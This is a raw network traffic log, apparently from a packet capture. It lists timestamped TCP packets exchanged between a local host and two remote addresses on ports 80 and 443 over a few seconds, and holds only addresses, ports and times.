Nov 20, 2024 04:08:12.790380001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790390968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790399075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790414095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790426970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790432930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790446997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790452003 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790465117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790477037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790492058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790503025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790503025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790509939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790527105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790539026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790556908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790560007 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790574074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790586948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790594101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790623903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790623903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790644884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790646076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790663004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790688038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790705919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790705919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790707111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790736914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790765047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790831089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790847063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790862083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790879965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790899992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.790901899 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790923119 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.790944099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.791105986 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791140079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791192055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.791198015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791249037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.791302919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791332960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791351080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791367054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791384935 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791388035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.791409016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.791430950 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.791834116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791848898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791893959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.791894913 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.791898012 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791915894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791933060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791949987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791968107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.791977882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.791987896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.791996956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792035103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792035103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792061090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792475939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792491913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792500973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792542934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792546034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792563915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792567968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792587042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792603970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792620897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792669058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792669058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792712927 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792712927 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792737961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792912960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792928934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792946100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792963028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792972088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792979956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.792994022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.792995930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.793011904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.793014050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.793031931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.793056965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.793056965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.793757915 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.793967009 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.794002056 CET	62452	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.794011116 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.794027090 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.794080019 CET	62452	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.794130087 CET	62452	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.794130087 CET	62452	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.794141054 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.794152021 CET	443	62452	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.797282934 CET	62457	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.797341108 CET	443	62457	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.797481060 CET	62457	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.797646046 CET	62457	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.797653913 CET	443	62457	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.831954956 CET	443	62453	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.832468033 CET	62453	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.832501888 CET	443	62453	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.832989931 CET	62453	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.832998037 CET	443	62453	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.936337948 CET	443	62453	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.936434984 CET	443	62453	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.936506033 CET	62453	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.939405918 CET	62453	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.939426899 CET	443	62453	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.939480066 CET	62453	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.939486980 CET	443	62453	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.950315952 CET	62458	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.950356960 CET	443	62458	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.950423002 CET	62458	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.950583935 CET	62458	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.950602055 CET	443	62458	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.282226086 CET	443	62454	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.301582098 CET	62454	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.301601887 CET	443	62454	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.306607962 CET	62454	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.306615114 CET	443	62454	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.350924969 CET	443	62455	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.398076057 CET	62455	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.406089067 CET	443	62456	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.414499044 CET	443	62454	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.414594889 CET	443	62454	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.414665937 CET	62454	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.459625006 CET	443	62457	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.460531950 CET	62456	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.500097990 CET	62457	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.500132084 CET	443	62457	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.500199080 CET	62456	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.500226021 CET	443	62456	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.501166105 CET	62457	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.501173973 CET	443	62457	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.501216888 CET	62456	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.501230001 CET	443	62456	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.501703978 CET	62455	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.501758099 CET	443	62455	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.502244949 CET	62454	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.502258062 CET	443	62454	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.502271891 CET	62454	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.502278090 CET	443	62454	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.502465010 CET	62455	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.502479076 CET	443	62455	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.597450018 CET	443	62456	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.597484112 CET	443	62456	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.597532988 CET	443	62456	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.597558022 CET	62456	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.597625017 CET	62456	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.597922087 CET	443	62455	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.598093033 CET	443	62455	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.598155022 CET	62455	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.600724936 CET	443	62457	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.600802898 CET	443	62457	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.600850105 CET	62457	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.612375975 CET	443	62458	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.627722025 CET	62456	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.627748013 CET	443	62456	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.627769947 CET	62456	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.627778053 CET	443	62456	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.631067038 CET	62455	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.631110907 CET	443	62455	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.631141901 CET	62455	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.631160975 CET	443	62455	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.631450891 CET	62457	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.631474018 CET	443	62457	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.631505013 CET	62457	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.631513119 CET	443	62457	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.633960962 CET	62458	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.633972883 CET	443	62458	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.634798050 CET	62458	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.634804010 CET	443	62458	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.644217968 CET	62459	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.644248962 CET	443	62459	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.644313097 CET	62459	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.646655083 CET	62460	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.646743059 CET	443	62460	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.646828890 CET	62460	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.647169113 CET	62460	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.647203922 CET	443	62460	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.649070024 CET	62459	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.649091959 CET	443	62459	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.651442051 CET	62461	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.651530981 CET	443	62461	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.651599884 CET	62461	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.651810884 CET	62461	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.651845932 CET	443	62461	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.663331032 CET	62462	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.663355112 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.663419008 CET	62462	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.667196035 CET	62462	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.667220116 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.734839916 CET	443	62458	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.734992027 CET	443	62458	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.735049963 CET	62458	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.735177994 CET	62458	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.735196114 CET	443	62458	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.735208035 CET	62458	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.735213995 CET	443	62458	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.738742113 CET	62463	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.738795042 CET	443	62463	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:13.738858938 CET	62463	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.739156961 CET	62463	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:13.739173889 CET	443	62463	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.286678076 CET	443	62460	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.289370060 CET	443	62461	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.289748907 CET	62460	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.289825916 CET	443	62460	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.290453911 CET	62460	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.290467978 CET	443	62460	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.291382074 CET	62461	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.291462898 CET	443	62461	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.292068958 CET	62461	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.292082071 CET	443	62461	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.311598063 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.312093973 CET	62462	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.312179089 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.312449932 CET	62462	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.312464952 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.312995911 CET	443	62459	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.313339949 CET	62459	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.313380003 CET	443	62459	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.313880920 CET	62459	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.313886881 CET	443	62459	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.373163939 CET	443	62463	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.373610020 CET	62463	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.373621941 CET	443	62463	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.374125957 CET	62463	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.374133110 CET	443	62463	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.388365984 CET	443	62461	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.388602018 CET	443	62461	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.388633013 CET	443	62460	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.388693094 CET	62461	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.388930082 CET	62461	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.388942957 CET	443	62461	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.388952971 CET	62461	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.388958931 CET	443	62461	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.389142990 CET	443	62460	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.389200926 CET	443	62460	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.389374018 CET	62460	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.390414000 CET	62460	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.390414000 CET	62460	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.390459061 CET	443	62460	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.390486956 CET	443	62460	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.393312931 CET	62464	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.393383980 CET	443	62464	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.393485069 CET	62464	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.394606113 CET	62465	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.394634962 CET	443	62465	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.394784927 CET	62464	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.394814014 CET	62465	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.394819021 CET	443	62464	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.394896984 CET	62465	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.394911051 CET	443	62465	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.410222054 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.410407066 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.410486937 CET	62462	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.410510063 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.410542965 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.410604954 CET	62462	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.410641909 CET	62462	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.410654068 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.410682917 CET	62462	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.410696983 CET	443	62462	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.412848949 CET	62466	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.412870884 CET	443	62466	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.413301945 CET	62466	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.413443089 CET	62466	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.413460016 CET	443	62466	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.417435884 CET	443	62459	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.417654037 CET	443	62459	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.417732000 CET	62459	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.417833090 CET	62459	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.417833090 CET	62459	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.417882919 CET	443	62459	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.417926073 CET	443	62459	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.421212912 CET	62467	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.421231031 CET	443	62467	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.421477079 CET	62467	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.421605110 CET	62467	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.421619892 CET	443	62467	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.471924067 CET	443	62463	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.472218990 CET	443	62463	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.472315073 CET	62463	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.472681999 CET	62463	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.472681999 CET	62463	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.472723007 CET	443	62463	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.472747087 CET	443	62463	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.475563049 CET	62468	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.475585938 CET	443	62468	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:14.475717068 CET	62468	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.476695061 CET	62468	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:14.476723909 CET	443	62468	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.105680943 CET	443	62464	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.105707884 CET	443	62467	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.106372118 CET	62467	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.106395960 CET	443	62467	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.106437922 CET	62464	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.106481075 CET	443	62464	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.107026100 CET	62467	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.107032061 CET	443	62467	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.107240915 CET	62464	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.107256889 CET	443	62464	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.110781908 CET	443	62465	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.111108065 CET	443	62466	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.111223936 CET	62465	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.111232996 CET	443	62465	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.111460924 CET	62466	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.111478090 CET	443	62466	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.111726046 CET	62465	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.111730099 CET	443	62465	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.111840010 CET	62466	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.111850023 CET	443	62466	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.203870058 CET	443	62464	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.204125881 CET	443	62464	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.204193115 CET	62464	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.204274893 CET	62464	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.204276085 CET	62464	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.204319954 CET	443	62464	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.204349995 CET	443	62464	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.207940102 CET	62469	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.208034992 CET	443	62469	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.208339930 CET	443	62467	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.208441019 CET	62469	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.208523035 CET	443	62467	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.208575964 CET	62467	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.208611012 CET	62467	443	192.168.2.4	13.107.246.45
